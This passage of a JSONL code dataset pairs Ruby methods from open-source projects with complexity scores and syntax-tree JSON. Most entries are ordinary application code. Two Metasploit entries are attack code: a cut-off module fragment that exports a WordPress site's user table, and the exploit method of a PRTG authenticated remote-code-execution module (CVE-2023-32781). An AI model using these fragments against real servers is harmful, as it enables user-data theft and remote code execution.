extract...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"exporter_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"export\"]},{\"type\":\"str\",\"children\":[\"users\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"No response from the target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server responded with status code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Parsing response...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_csv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"str\",\"children\":[\",\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_csv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"str\",\"children\":[\";\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to parse response, the CSV was invalid\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"store_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"wordpress.users.export\"]},{\"type\":\"str\",\"children\":[\"csv\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"users_export.csv\"]},{\"type\":\"str\",\"children\":[\"WordPress User Table Extract\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CSV saved to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_path\"]}]}]}]}]}]}","id":"561465d9-f72d-4028-be97-eb914ab72c82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/concerns/positionable_list.rb","start_line":37,"raw_source":"def replace_element(list, element_to_replace, new_element)\n        return unless new_element\n\n        index = index_of(list, element_to_replace)\n\n        return unless index\n\n        list[index] = new_element\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"element_to_replace\"]},{\"type\":\"arg\",\"children\":[\"new_element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_element\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[null,\"index_of\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"element_to_replace\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"new_element\"]}]}]}]}","id":"81d71a37-85e8-462d-b38b-2f37c3f49639"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access_project.rb","start_line":53,"raw_source":"def ensure_project_on_push!\n      return if project || deploy_key?\n      return unless receive_pack? && changes == ANY && authentication_abilities.include?(:push_code)\n      return unless user&.can?(:create_projects, namespace)\n\n      project_params = {\n        path: project_path,\n        namespace_id: namespace.id,\n        organization_id: namespace.organization_id,\n        visibility_level: Gitlab::VisibilityLevel::PRIVATE\n      }\n\n      project = Projects::CreateService.new(user, project_params).execute\n\n      unless project.saved?\n        raise CreationError, \"Could not create project: #{project.errors.full_messages.join(', ')}\"\n      end\n\n      self.container = project\n      user_access.container = project\n\n      Checks::ProjectCreated.new(repository, user, protocol).add_message\n    end","complexity_score":46.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_project_on_push!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"deploy_key?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive_pack?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ANY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_abilities\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"push_code\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"create_projects\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"project_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"project_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"organization_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"PRIVATE\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"project_params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"saved?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CreationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not create project: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"container=\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_access\"]},\"container=\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Checks\"]},\"ProjectCreated\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"repository\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"protocol\"]}]},\"add_message\"]}]}]}","id":"62a69363-328d-4607-8013-c088d7e0676d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/utils/code_length_calculator.rb","start_line":86,"raw_source":"def heredoc_node?(node)\n            node.respond_to?(:heredoc?) && node.heredoc?\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"heredoc_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"heredoc?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"heredoc?\"]}]}]}","id":"21df9cbb-ca1e-4a1b-a00f-db579531f65e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250326141100_remove_deployment_data_from_pages_metadatum.rb","start_line":26,"raw_source":"def up\n    remove_foreign_key_if_exists TABLE_NAME, column: :pages_deployment_id\n\n    INDEXES.each do |index|\n      remove_concurrent_index_by_name TABLE_NAME, index[:name]\n    end\n\n    remove_columns TABLE_NAME, :deployed, :pages_deployment_id\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"pages_deployment_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_columns\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"deployed\"]},{\"type\":\"sym\",\"children\":[\"pages_deployment_id\"]}]}]}]}","id":"587be84d-c034-4f9b-a4d2-61d1334b9630"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb","start_line":96,"raw_source":"def exploit\n    @sensors_to_delete = []\n\n    connect\n    case target['Type']\n    when :win_cmdstager\n      execute_cmdstager\n    when :win_fetch\n      execute_command(payload.encoded)\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sensors_to_delete\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"win_cmdstager\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"win_fetch\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},null]}]}]}","id":"ac850cc4-5797-4bb9-9dcc-1ca3028730cc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/channels/room_channel.rb","start_line":19,"raw_source":"def broadcast_presence\n    return if @current_account.blank?\n\n    data = { account_id: @current_account.id, users: ::OnlineStatusTracker.get_available_users(@current_account.id) }\n    data[:contacts] = ::OnlineStatusTracker.get_available_contacts(@current_account.id) if @current_user.is_a? User\n    ActionCable.server.broadcast(pubsub_token, { event: 'presence.update', data: data })\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_presence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_account\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OnlineStatusTracker\"]},\"get_available_users\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_account\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"contacts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OnlineStatusTracker\"]},\"get_available_contacts\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_account\"]},\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"server\"]},\"broadcast\",{\"type\":\"send\",\"children\":[null,\"pubsub_token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"presence.update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"35dd56e1-4d59-4266-924d-60b1f68fc167"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/gitlab_schema.rb","start_line":22,"raw_source":"def self.table_schemas!(tables)\n        tables.map { |table| table_schema!(table) }.to_set\n      end","complexity_score":4.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_schemas!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tables\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"table_schema!\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},\"to_set\"]}]}","id":"14d8898c-c73e-4e51-a98c-2fd770c7f073"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/custom_actions/row_component.rb","start_line":47,"raw_source":"def button_links\n      [\n        edit_link,\n        delete_link\n      ]\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"button_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"edit_link\"]},{\"type\":\"send\",\"children\":[null,\"delete_link\"]}]}]}","id":"38380daf-a7bf-4652-a2d0-f159dfb224ba"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_plugin_classes.rb","start_line":20,"raw_source":"def inc\n      @data +=1\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"inc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"d3a12581-0e78-4c7c-bc0e-6e47f7eab365"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/mdns.rb","start_line":34,"raw_source":"def query_class\n      if datastore['CLASS'] =~ /^\\d+$/\n        datastore['CLASS'].to_i\n      else\n        datastore['CLASS'].upcase\n      end\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLASS\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d+$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLASS\"]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLASS\"]}]},\"upcase\"]}]}]}","id":"8b5e0588-560f-4ab3-a6e4-220d03852dbb"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/initial_state_proc.rb","start_line":30,"raw_source":"def rich?; self.balance >= RICH; end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rich?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"balance\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"RICH\"]}]}]}","id":"bb4e58bb-14a8-4965-936c-be1501be3b71"}
{"repo_name":"forem","file_path":"./repos/forem/spec/mailers/previews/notify_mailer_preview.rb","start_line":12,"raw_source":"def unread_notifications_email\n    NotifyMailer.with(user: User.last).unread_notifications_email\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unread_notifications_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"last\"]}]}]}]},\"unread_notifications_email\"]}]}","id":"3c5f1f2b-2077-4077-b58e-7911f64d9b34"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/home_page_controller.rb","start_line":10,"raw_source":"def blank\n    respond_to { |format| format.html { render \"default/blank\" } }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"default/blank\"]}]}]}]}]}","id":"17a98bf7-98f6-41ec-95b0-7950bcb049b9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/sanitize_test.rb","start_line":41,"raw_source":"def test_sanitize_sql_array_handles_named_bind_variables\n    quoted_bambi = ActiveRecord::Base.lease_connection.quote(\"Bambi\")\n    assert_equal \"name=#{quoted_bambi}\", Binary.sanitize_sql_array([\"name=:name\", name: \"Bambi\"])\n    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n      assert_equal \"name=#{quoted_bambi} AND id='1'\", Binary.sanitize_sql_array([\"name=:name AND id=:id\", name: \"Bambi\", id: 1])\n    else\n      assert_equal \"name=#{quoted_bambi} AND id=1\", Binary.sanitize_sql_array([\"name=:name AND id=:id\", name: \"Bambi\", id: 1])\n    end\n\n    quoted_bambi_and_thumper = ActiveRecord::Base.lease_connection.quote(\"Bambi\\nand\\nThumper\")\n    assert_equal \"name=#{quoted_bambi_and_thumper}\", Binary.sanitize_sql_array([\"name=:name\", name: \"Bambi\\nand\\nThumper\"])\n    assert_equal \"name=#{quoted_bambi_and_thumper} AND name2=#{quoted_bambi_and_thumper}\", Binary.sanitize_sql_array([\"name=:name AND name2=:name\", name: \"Bambi\\nand\\nThumper\"])\n  end","complexity_score":20.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sanitize_sql_array_handles_named_bind_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_bambi\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"quote\",{\"type\":\"str\",\"children\":[\"Bambi\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name=:name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bambi\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi\"]}]},{\"type\":\"str\",\"children\":[\" AND id='1'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name=:name AND id=:id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bambi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi\"]}]},{\"type\":\"str\",\"children\":[\" AND id=1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name=:name AND id=:id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bambi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_bambi_and_thumper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"quote\",{\"type\":\"str\",\"children\":[\"Bambi\\nand\\nThumper\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi_and_thumper\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name=:name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bambi\\nand\\nThumper\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi_and_thumper\"]}]},{\"type\":\"str\",\"children\":[\" AND name2=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_bambi_and_thumper\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name=:name AND name2=:name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bambi\\nand\\nThumper\"]}]}]}]}]}]}]}]}","id":"8585331a-c75e-4272-8049-62ccb04fe4d7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component/details.rb","start_line":178,"raw_source":"def render_header_end(header_container)\n          header_container.with_column(flex_layout: true) do |header_end_container|\n            render_notification_bubble(header_end_container) if has_unread_notifications\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"render_header_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header_container\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_container\"]},\"with_column\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flex_layout\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header_end_container\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_unread_notifications\"]},{\"type\":\"send\",\"children\":[null,\"render_notification_bubble\",{\"type\":\"lvar\",\"children\":[\"header_end_container\"]}]},null]}]}]}","id":"2cd213cd-edb8-4c67-ad54-3f9c5f318688"}
